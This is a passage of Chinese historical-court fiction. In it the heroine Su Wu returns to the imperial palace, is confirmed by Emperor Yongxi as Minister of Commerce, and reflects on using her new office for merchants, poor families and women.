    随后，苏芜在温庭远的陪同下，朝着皇宫走去。沿途的百姓，纷纷跪地，向苏芜行礼。苏芜则不时停下脚步，对着百姓们颔首微笑，心中满是坚定。


    皇宫的金銮殿上，永熙帝端坐于龙椅之上，看着苏芜，身着官服，缓步走入大殿，眼中满是赞赏。


    苏芜走到大殿中央，手持象牙笏板，双膝跪地，俯首行礼：“臣商部尚书苏芜，参见陛下，吾皇万岁万岁万万岁！幸不辱命，平定江南、岭南乱象，特来复命！”


    “苏爱卿，平身！”永熙帝笑着道，“苏爱卿此行，功绩卓著，为朕分忧，为百姓解难，朕心甚慰。从今往后，商部事务，便全靠苏爱卿执掌了。”


    “臣定当恪尽职守，不负陛下所托！”苏芜起身，手持象牙笏板，立于百官之列。


    她的位置，在六部尚书之列，仅次于吏部尚书，位列第二。这是永熙帝的特意安排，也是对她功绩的最大肯定。


    金銮殿上，苏芜身着绯色官服，立于百官之中，眉眼沉稳，目光坚定。她看着龙椅上的永熙帝，看着身旁的温庭远，看着满朝文武，心中清楚，她的人生，迎来了新的篇章。


    从诰命夫人，到商部尚书，她终于真正地，走进了朝堂，拥有了属于自己的官衔，拥有了为百姓、为女子，发声的权力。


    她将用这份权力，继续推行商税新政，扶持寒门商贩，发展全国商业；她将用这份权力，整顿盐运、海防贸易，让百姓安居乐业，让大靖的商业，走向世界；她将用这份权力，为寒门子弟，为女子，争取更多的机会，让他们能靠着自己的努力，建功立业，活得有尊严、有底气。


    退朝之后，苏芜走出金銮殿，立于皇宫的朱雀门前，看着京城的万家灯火，看着街头往来的百姓，看着天边的晚霞，眼底满是平静与坚定。


    青禾走到她身边，与她并肩而立，轻声道：“苏芜姐姐，不，苏尚书，你终于做到了。”


    苏芜笑了笑，转头看向青禾，眼底满是暖意：“是我们，一起做到了。”


    夕阳西下，晚霞映红了京城的天空，也映红了苏芜的官服。她的身影，立于朱雀门前，挺拔而坚定，如一株迎着晚霞生长的翠竹，又如一朵盛开在朝堂之上的牡丹。